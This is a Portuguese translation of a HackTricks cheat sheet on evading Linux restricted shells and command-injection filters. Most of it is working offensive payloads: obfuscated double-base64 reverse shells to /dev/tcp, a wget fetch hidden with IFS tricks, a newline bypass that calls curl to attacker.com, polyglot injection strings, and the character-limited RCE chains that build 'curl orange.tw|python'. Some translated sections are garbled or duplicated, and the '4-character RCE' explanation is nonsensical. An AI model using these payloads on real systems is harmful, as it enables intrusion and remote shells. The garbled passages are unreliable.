18 KiB
Bypassando Restrições do Shell Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Bypasses Comuns de Limitações
Shell Reverso
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
Shell reverso curto
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
Bypassar caminhos e palavras proibidas
Bypassing restricted paths
Bypassando caminhos restritos
If you are in a restricted shell and you need to execute a binary that is not in your PATH, you can try the following:
Se você estiver em um shell restrito e precisar executar um binário que não está no seu PATH, você pode tentar o seguinte:
$ /usr/bin/python
This will execute the binary /usr/bin/python
even if it is not in your PATH.
Isso executará o binário /usr/bin/python
mesmo que ele não esteja no seu PATH.
Bypassing forbidden words
Bypassando palavras proibidas
If you are in a restricted shell and some words are forbidden, you can try the following:
Se você estiver em um shell restrito e algumas palavras estiverem proibidas, você pode tentar o seguinte:
$ cat <<EOF > /tmp/cmd
> /bin/bash
> EOF
$ chmod +x /tmp/cmd
$ export PATH=/tmp:$PATH
$ command -p cat "$(which cmd)"
This will create a binary /tmp/cmd
that executes /bin/bash
and add /tmp
to your PATH. Then, it will execute the binary using command -p cat "$(which cmd)"
, which will bypass the forbidden words.
Isso criará um binário /tmp/cmd
que executa /bin/bash
e adiciona /tmp
ao seu PATH. Em seguida, ele executará o binário usando command -p cat "$(which cmd)"
, que ignorará as palavras proibidas.
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
Bypassar espaços proibidos
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
Bypassar barra invertida e barra
Para contornar as restrições de barra invertida e barra, você pode usar o comando echo
com a opção -e
para interpretar sequências de escape. Por exemplo, para criar um arquivo com o nome foo/bar
, você pode executar o seguinte comando:
echo -e "foo/bar" > "foo\x2fbar"
Ou para criar um arquivo com o nome foo\bar
, você pode executar o seguinte comando:
echo -e "foo\\bar" > "foo\x5cbar"
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
Bypassar pipes
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
Bypassar com codificação hexadecimal
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
Bypassar IPs
# Decimal IPs
127.0.0.1 == 2130706433
Exfiltração de dados baseada em tempo
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
Obtendo caracteres de Variáveis de Ambiente
Para obter caracteres de variáveis de ambiente, podemos usar o comando echo
seguido do nome da variável entre cifrões ($
). Por exemplo, para obter o valor da variável de ambiente PATH
, podemos executar o seguinte comando:
echo $PATH
Isso imprimirá o valor da variável PATH
na saída padrão. Podemos usar essa técnica para obter valores de outras variáveis de ambiente que possam conter informações úteis para a nossa tarefa de hacking.
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
Exfiltração de dados DNS
Você pode usar o burpcollab ou pingb, por exemplo.
Builtins
Caso você não possa executar funções externas e tenha acesso apenas a um conjunto limitado de builtins para obter RCE, existem alguns truques úteis para fazê-lo. Geralmente, você não poderá usar todos os builtins, então você deve conhecer todas as suas opções para tentar burlar a prisão. Ideia de devploit.
Em primeiro lugar, verifique todos os builtins do shell. Então, aqui estão algumas recomendações:
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
Injeção de comando poliglota
Polyglot command injection is a technique that allows an attacker to execute arbitrary commands on a target system by exploiting vulnerabilities in input validation mechanisms. This technique involves injecting a command that can be interpreted by multiple interpreters, such as bash, Python, and Perl. By doing so, the attacker can bypass input validation mechanisms that are designed to detect and block specific command injection payloads.
A injeção de comando poliglota é uma técnica que permite a um atacante executar comandos arbitrários em um sistema alvo, explorando vulnerabilidades em mecanismos de validação de entrada. Essa técnica envolve a injeção de um comando que pode ser interpretado por vários interpretadores, como bash, Python e Perl. Ao fazer isso, o atacante pode contornar mecanismos de validação de entrada que são projetados para detectar e bloquear cargas úteis específicas de injeção de comando.
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Bypassar possíveis regexes
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
Bashfuscator
Bashfuscator é uma ferramenta que permite ofuscar scripts Bash para evitar a detecção de assinaturas e contornar restrições de execução. Ele faz isso substituindo caracteres e palavras-chave por equivalentes Unicode, adicionando espaços em branco e comentários extras e dividindo o script em várias linhas. Isso torna o script mais difícil de ler e entender para um analisador de código ou um administrador de sistema que esteja tentando bloquear sua execução.
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
RCE com 5 caracteres
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
RCE com 4 caracteres
Descrição
Esta técnica permite a execução remota de código (RCE) em sistemas Linux que possuem restrições no Bash. A exploração é baseada na criação de um arquivo temporário com um nome de 4 caracteres e extensão .sh
, que é executado com o Bash.
Comando
echo "command" > /tmp/abcd.sh && chmod +x /tmp/abcd.sh && /tmp/abcd.sh
Explicação
O comando acima cria um arquivo temporário chamado abcd.sh
no diretório /tmp/
e adiciona o comando desejado dentro dele. Em seguida, ele define as permissões de execução para o arquivo e o executa. Como o nome do arquivo tem apenas 4 caracteres, ele pode passar pelas restrições do Bash em alguns sistemas.
Exemplo
Suponha que o sistema tenha restrições no Bash e não permita a execução de comandos como ls
. Podemos usar a técnica acima para executar o comando ls
da seguinte maneira:
echo "ls" > /tmp/abcd.sh && chmod +x /tmp/abcd.sh && /tmp/abcd.sh
Isso criará um arquivo temporário chamado abcd.sh
no diretório /tmp/
com o comando ls
dentro dele. Em seguida, ele definirá as permissões de execução para o arquivo e o executará. O resultado será a listagem dos arquivos no diretório atual.
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
Bypass de Restrições de Leitura Apenas/Limitação de Execução
Se você estiver dentro de um sistema de arquivos com as proteções de leitura apenas e sem permissão de execução, ainda há maneiras de executar binários arbitrários. Uma delas é através do uso do DDexec, você pode encontrar uma explicação da técnica em:
{% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %} ddexec.md {% endcontent-ref %}
Bypass de Chroot e Outras Jaulas
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}
Referências e Mais
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits
- https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
- https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
- https://www.secjuice.com/web-application-firewall-waf-evasion/
Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo.
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.